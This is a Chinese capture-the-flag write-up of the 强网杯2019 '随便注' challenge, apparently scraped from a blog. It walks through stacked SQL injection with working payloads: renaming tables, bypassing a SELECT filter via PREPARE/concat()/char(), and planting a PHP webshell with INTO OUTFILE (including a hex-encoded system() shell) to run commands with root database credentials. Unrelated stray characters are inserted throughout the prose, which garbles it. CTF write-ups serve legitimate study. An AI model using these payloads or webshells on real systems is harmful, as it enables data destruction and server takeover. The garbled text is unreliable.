知識點:SQL注入-堆疊注入,sql預(yù)處理語句,巧用contact()函數(shù)繞過
堆疊注入原理:
在SQL中,分號(;)是用來表示一條sql語句的結(jié)束稻轨。試想一下我們在分號(;)結(jié)束一個sql語句后繼續(xù)構(gòu)造下一條語句,會不會一起執(zhí)行蜈敢?因此這個想法也就造就了堆疊注入辜荠。而union injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別么抓狭?區(qū)別就在于union 或者union all執(zhí)行的語句類型是有限的伯病,可以用來執(zhí)行查詢語句,而堆疊注入可以執(zhí)行的是任意的語句否过。例如以下這個例子午笛。
用戶輸入:1; DELETE FROM products
服務(wù)器端生成的sql語句為:(因未對輸入的參數(shù)進行過濾)Select * from products where productid=1;DELETE FROM products
當執(zhí)行查詢后,第一條顯示查詢信息苗桂,第二條則將整個表進行刪除
方法一:重命名+堆疊注入
打開題目药磺,顯示如下界面,觀察后猜測是sql注入
0x01:判斷是否存在注入煤伟,注入是字符型還是數(shù)字型
輸入
1'
發(fā)現(xiàn)不回顯輸入
1' #
顯示正常應(yīng)該是存在sql注入了
輸入1' or '1'='1
,正嘲┡澹回顯,應(yīng)該是字符型
0x02:猜解SQL查詢語句中的字段數(shù)
輸入
1' order by 1 #
成功回顯輸入
1' order by 2 #
成功回顯輸入
1' order by 3 #
回顯錯誤[圖片上傳失敗...(image-2ea278-1567002658869)]
所以只有兩個字段
0x03:顯示字段
輸入
1′ union select 1,2 #
回顯一個正則過濾規(guī)則過濾了 select便锨,update围辙,delete,drop鸿秆,insert酌畜,where 和 點
過濾了這么多詞,是不是有堆疊注入卿叽?嘗試堆疊注入
0x04:查詢數(shù)據(jù)庫
輸入1';show databases;#
成功回顯
說明存在堆疊注入
0x05:查詢表
輸入
1';show tables;#
成功回顯得到兩個表
words
和1919810931114514
0x06:查詢表中字段
坑點:mysql中點引號( ' )和反勾號( ` )的區(qū)別
linux下不區(qū)分桥胞,windows下區(qū)分
區(qū)別:
單引號( ' )或雙引號主要用于字符串的引用符號
eg:mysql> SELECT 'hello', "hello" ;
反勾號( ` )主要用于數(shù)據(jù)庫、表考婴、索引贩虾、列和別名用的引用符是[Esc下面的鍵]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
輸入1'; show columns from `words`; #
字段使用的是反勾號( ` )
輸入
1'; show columns from `1919810931114514`; #
字段使用的是反勾號( ` )
可以看到
1919810931114514
中有我們想要的flag
字段現(xiàn)在常規(guī)方法基本就結(jié)束了,要想獲得flag就必須來點騷姿勢了
因為這里有兩張表沥阱,回顯內(nèi)容肯定是從word這張表中回顯的缎罢,那我們怎么才能讓它回顯flag所在的表呢
內(nèi)部查詢語句類似 :
select id, data from word where id =
他既然沒過濾 alert 和 rename,那么我們是不是可以把表改個名字考杉,再給列改個名字呢策精。
先把 words 改名為 words1,再把這個數(shù)字表改名為 words崇棠,然后把新的 words 里的 flag 列改為 id (避免一開始無法查詢)咽袜。
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
接著輸入
1' or '1'='1 #
,查詢就得到flag方法二:預(yù)處理語句+堆疊注入
預(yù)處理語句使用方式:
PREPARE name from '[my sql sequece]'; //預(yù)定義SQL語句
EXECUTE name; //執(zhí)行預(yù)定義SQL語句
(DEALLOCATE || DROP) PREPARE name; //刪除預(yù)定義SQL語句
預(yù)定義語句也可以通過變量進行傳遞:
SET @tn = 'hahaha'; //存儲表名
SET @sql = concat('select * from ', @tn); //存儲SQL語句
PREPARE name from @sql; //預(yù)定義SQL語句
EXECUTE name; //執(zhí)行預(yù)定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預(yù)定義SQL語句
本題即可利用char()
方法將ASCII碼
轉(zhuǎn)換為SELECT
字符串,接著利用concat()
方法進行拼接獲得查詢的SQL語句
枕稀,來繞過過濾或者直接使用concat()
方法繞過
char()根據(jù)ASCII表返回給定整數(shù)值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'
contact()函數(shù)用于將多個字符串連接成一個字符串
contact (str1,str2,…)
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'
char(115,101,108,101,99,116)<----->'select'
payload1:不使用變量
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
輸入payload1
直接得到flag
payload2:使用變量
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#
輸入payload2
直接得到flag
payload3:只是用contact(),不使用char()
1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#
方法三:利用命令執(zhí)行Getflag
查詢了一下用戶竟然是root
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
那么寫個執(zhí)行命令的shell吧(絕對路徑猜的,一般是服務(wù)器網(wǎng)站根目錄/var/www/html)
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
利用char(46)
<==>.
從而繞過關(guān)鍵詞.
過濾
Mysql into outfile語句询刹,可以方便導(dǎo)出表格的數(shù)據(jù)谜嫉。同樣也可以生成某些文件。因此有些人會利用sql注入生成特定代碼的文件凹联,然后執(zhí)行這些文件沐兰。將會造成嚴重的后果。
Mysql into outfile 生成PHP文件
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile '/var/www/html/fuck.php'
最后會在/var/www/html/路徑下蔽挠, 生成fuck.php文件
這里不走尋常路住闯,執(zhí)行打算利用我們的shell查詢flag(賬號密碼直接讀取首頁就可以看到)
利用一句話木馬執(zhí)行任意mysql命令(雙引號中的內(nèi)容會被當做shell命令執(zhí)行然后結(jié)果再傳回來執(zhí)行)
uroot:
用戶名root proot:
密碼root
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"
參考:
SQL注入-堆疊注入
SQL Injection8(堆疊注入)——強網(wǎng)杯2019隨便注
[Writeup]BUUCTF_Web_隨便注
MySQL的SQL預(yù)處理(Prepared)
利用Mysql into outfile給網(wǎng)站留后門
shell處理mysql增、刪象泵、改寞秃、查